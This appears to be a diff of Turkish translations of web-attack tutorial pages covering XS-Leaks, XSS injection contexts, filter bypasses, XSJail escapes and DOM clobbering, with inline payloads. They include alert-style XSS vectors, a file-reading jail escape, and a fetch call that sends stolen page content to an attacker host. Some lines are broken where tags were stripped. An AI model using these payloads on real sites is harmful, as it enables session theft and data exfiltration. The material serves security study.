çalışanları, bir kaynakta çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilirler.\ Eğer bir **hizmet çalışanı** tarafından **önbelleğe alınmış** bir kaynak **iframe** aracılığıyla erişilirse, kaynak **hizmet çalışanı önbelleğinden** **yüklenir**.\ Kaynağın **hizmet çalışanı** önbelleğinden **yüklenip yüklenmediğini** tespit etmek için **Performans API'si** kullanılabilir.\ Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin). @@ -421,7 +421,7 @@ Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belge - **Inclusion Methods**: HTML Elemanları (Video, Ses) - **Detectable Difference**: Durum Kodu - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) -- **Summary:** Firefox'ta, bir çapraz kaynak isteğinin durum kodunu doğru bir şekilde sızdırmak mümkündür. +- **Summary:** Firefox'ta, çapraz kaynak isteğinin durum kodunu doğru bir şekilde sızdırmak mümkündür. - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output) ```javascript // Code saved here in case it dissapear from the link @@ -470,7 +470,7 @@ err.message + audioElement.onerror = errHandler } ``` -`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği gözlemleyerek, bir cross-origin kaynağının yanıt durumunu çıkarabilir. +`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dizi ile tanımlar. Bir saldırgan, bu özelliği gözlemleyerek, bir cross-origin kaynağının yanıt durumunu çıkarabilir. ### CORS Hatası @@ -480,7 +480,7 @@ audioElement.onerror = errHandler - **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır. - **Kod Örneği**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) -Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar. Özellikle, bir **CORS etkin isteği** kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında açığa çıkar. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirme uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır. +Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar. Özellikle, bir **CORS etkin isteği** hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında açığa çıkar. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirme uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır. ### SRI Hatası @@ -490,7 +490,7 @@ Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefi - **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır. - **Kod Örneği**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) -Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtlarının boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile başarısız olan bir fetch isteğinden sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik hash değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar. +Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtlarının boyutunu çıkarabilir. Bu, Subresource Integrity (SRI) mekanizması nedeniyle mümkündür; bu mekanizma, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bunların **CORS etkin** olması gerekir; aksi takdirde, bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile başarısız olan bir fetch isteğinden sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahteden bir hash değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar. ### CSP İhlali/Tespiti @@ -508,22 +508,22 @@ Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak bir cross-or - **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar - **Tespit Edilebilir Fark**: Sayfa İçeriği - **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) -- **Özet:** Dosyayı önbellekten temizle. Hedef sayfayı açar, dosyanın önbellekte mevcut olup olmadığını kontrol eder. +- **Özet:** Dosyayı önbellekten temizle. Hedef sayfayı açar, dosyanın önbellekte olup olmadığını kontrol eder. - **Kod Örneği:** Tarayıcılar, tüm web siteleri için tek bir paylaşılan önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın **belirli bir dosyayı talep edip etmediğini** çıkarmak mümkündür. -Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (artık önbelleğe alınmadıysa, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış** olmasıdır. +Bir sayfa, yalnızca kullanıcı oturum açtığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (artık önbelleğe alınmadıysa, daha fazla bilgi bağlantılarına bakın), **bu kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** (örneğin, aşırı uzun bir referans başlığı kullanarak) yüklemeye çalışabilir. Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış olmasıdır**. ### CSP Yönergesi - **Dahil Etme Yöntemleri**: Çerçeveler - **Tespit Edilebilir Fark**: Header - **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) -- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detaylarını açığa çıkarır. +- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detayları açığa çıkarılabilir. - **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) -Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **Bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde **bir hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın, hata sayfasını tanımlayarak bir cross-origin sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanır. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır ve temel sorunun tam olarak ele alınmadığını önermektedir. +Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi** gerekir, aksi takdirde **bir hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın, hata sayfasını tanımlayarak, bir cross-origin sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanır. Bu güvenlik açığı kapatılmış olarak işaretlenmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını önermektedir. ### **CORP** @@ -553,7 +553,7 @@ Saldırı hakkında daha fazla bilgi için bağlantıyı kontrol edin. - **Özet:** Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür. - **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) -Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bu, kaynağın **önbellekten erişildiği** anlamına gelir (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle ortaya çıkar).\ +Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almayı** deneyebilir. Eğer bir **hata** **tetiklenmezse**, bu, kaynağın **web'den doğru bir şekilde alındığı** anlamına gelir; eğer bir hata **tetiklenirse**, bunun nedeni **önbellekten erişilmiş olmasıdır** (hata, önbelleğin orijinal alan adına izin veren bir CORS başlığı ile bir yanıt kaydetmesi nedeniyle görünür).\ Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmayacaktır. ## Okunabilir Nitelikler Tekniği @@ -566,14 +566,14 @@ Eğer köken yansıtılmıyorsa ancak bir joker karakter kullanılıyorsa (`Acce - **Özet:** GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaque-redirect) kontrol etmeye olanak tanır. - **Kod Örneği**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) -`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliğini okumak mümkündür ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirmedir. +`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek gönderildiğinde, `response.type` niteliği okunabilir ve eğer `opaqueredirect` ile eşitse, yanıt bir yönlendirme olmuştur. ### COOP - **Dahil Etme Yöntemleri**: Pop-up'lar - **Tespit Edilebilir Fark**: Header - **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) -- **Özet:** Cross-Origin Opener Policy (COOP) ile korunmuş sayfalar, cross-origin etkileşimlerden erişimi engeller. +- **Özet:** Cross-Origin Opener Policy (COOP) ile korunan sayfalar, cross-origin etkileşimlerden erişimi engeller. - **Kod Örneği**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından dış sitelerin rastgele pencere referansları elde etmesini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına erişmeye çalışarak** tespit edilebilir. COOP koşullu olarak uygulandığında, **`opener` niteliği** belirleyici bir gösterge haline gelir: COOP aktif olduğunda **tanımsızdır**, yokluğunda ise **tanımlıdır**. @@ -583,13 +583,13 @@ Bir saldırgan, cross-origin bir HTTP yanıtında Cross-Origin Opener Policy (CO - **Dahil Etme Yöntemleri**: Fetch API, HTML Elemanları - **Tespit Edilebilir Fark**: Durum Kodu / İçerik - **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) -- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü sunucu bir hata ile yanıt verebilir ve bir uyarı oluşturulabilir. +- **Özet:** Yönlendirme yanıt uzunluğundaki farklılıkları tespit et, çünkü yanıt uzunluğu çok büyük olabilir ve sunucu bir hata ile yanıt verir ve bir uyarı oluşturulur. - **Kod Örneği**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) -Eğer bir sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir. +Eğer sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ek veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların** **istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** o **uzunluk - 1** ise, çünkü **yönlendirme** **o veriyi** kullanıyor ve **ek bir şey** ekliyorsa, bu bir **hata tetikler** ve **Hata Olayları** aracılığıyla tespit edilebilir. -Eğer bir şekilde bir kullanıcıya çerez ayarlayabiliyorsanız, bu saldırıyı **yeterince çerez ayarlayarak** da gerçekleştirebilirsiniz ([**çerez bombası**](../hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın** **artmış boyutu** ile bir **hata** tetiklenir. Bu durumda, bu isteği aynı siteden tetiklediğinizde, ``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: -- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. +- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini ayrıştırması** ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. - Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır): - `'-alert(1)-'` - `';-alert(1)//` @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting, **kullanımdan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ +Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları istismar edebilirsiniz.**\ **Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} @@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı ![](<../../images/image (711).png>) -Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi çok yaygındır. +Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır. Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**: @@ -114,7 +114,7 @@ parentElement ``` Javascript fonksiyonlarını doğrudan **tetiklemeyi** de deneyebilirsiniz: `obj.sales.delOrders`. -Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** sunacaktır. +Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** sunacaktır. Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir: @@ -132,7 +132,7 @@ dom-xss.md ### **Evrensel XSS** -Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** gibi durumlarda bile istismar edilebilir.\ +Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** gerçekleşir. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** gibi durumlar için de istismar edilebilir.\ Bazı **örnekler**: {{#ref}} @@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md ## Ham HTML içinde enjekte etme -Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ +Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ -&#xNAN;_**Not: Bir HTML yorumu şu şekilde kapatılabilir\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*veya \*\*\*\*\*\***`--!>`\*\**_ +&#xNAN;_**Not: Bir HTML yorumu, \*\*\*\*\*\*** \***\*`-->`\*\*** \***\* veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._ -Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz: +Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz: ```html ` etiketleri arasında veya JS kodunu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**. +Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**. ### \` içinde yer alıyorsa, `` içinde yer alıyorsa, ` ``` @@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript yeni satırlar (şuradan** [**JavaScript yeni satır**](./#javascript-new-lines) **hile)** +**JavaScript yeni satırlar (şu** [**JavaScript yeni satır**](./#javascript-new-lines) **numarası)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -745,14 +745,14 @@ top[8680439..toString(30)](1) dom-xss.md {{#endref}} -Burada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\ -Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın. +Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\ +Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın. ### Self-XSS'i Yükseltme ### Cookie XSS -Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı bulursanız**, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında cookie XSS'i tetikleyebilirsiniz. Bunun için cookie tossing saldırısını kullanabilirsiniz: +Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -768,7 +768,7 @@ Belki bir kullanıcı profiline yöneticiyi ekleyebilir ve eğer self XSS kullan Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir. -**Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.** +**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz. ## Diğer Atlatmalar @@ -823,12 +823,12 @@ Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS ile 302 yanıtında başlık enjeksiyonu +### 302 yanıtında başlık enjeksiyonu ile XSS Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. -[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\ -Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Location başlığı_, `resource://`. +[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) konum başlığında birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\ +Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`. ### Sadece Harfler, Sayılar ve Noktalar @@ -836,11 +836,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın ### XSS için Geçerli ` ``` -Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir. +Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı, bu da XSS tetikleyebilir. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render edilmesinden kaynaklanan bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır: ```html @@ -953,7 +953,7 @@ chrome-cache-to-xss.md ### XS Jails Kaçışı -Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail problemleri için bu diğer geçerli çözümleri kontrol edin: +Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -984,7 +984,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), yararsız nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: +Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: - import() kullanarak ```javascript @@ -1282,7 +1282,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### İç IP'leri Bulun +### Dahili IP'leri Bulma ```html ``` -**Sadece** belirli öğeler **name attribute** kullanarak global değişkenleri clobber edebilir, bunlar: `embed`, `form`, `iframe`, `image`, `img` ve `object`. +**Sadece** belirli öğeler **name attribute** kullanarak globals'ı clobber edebilir, bunlar: `embed`, `form`, `iframe`, `image`, `img` ve `object`. -İlginç bir şekilde, bir **form element** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değeri alırsınız: `[object HTMLFormElement]` ama **anchor** ile **`toString`** anchor'un **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **değeri** **string** olarak **işlendiğinde** **kontrol** edebilirsiniz: +İlginç bir şekilde, bir **form element** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değeri alırsınız: `[object HTMLFormElement]` ancak **anchor** ile **`toString`** anchor'ın **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **string** olarak **işlendiğinde** **değeri** **kontrol** edebilirsiniz: ```html ``` -SVG ile yapılan araştırmalar, bir `` etiketinin de etkili bir şekilde kullanılabileceğini ortaya koydu: +SVG ile ilgili araştırmalar, bir `` etiketinin de etkili bir şekilde kullanılabileceğini ortaya koydu: ```html @@ -182,7 +182,7 @@ clobbered alert(document.getElementById("cdnDomain").innerText) // Clobbered ``` -SVG'de HTML 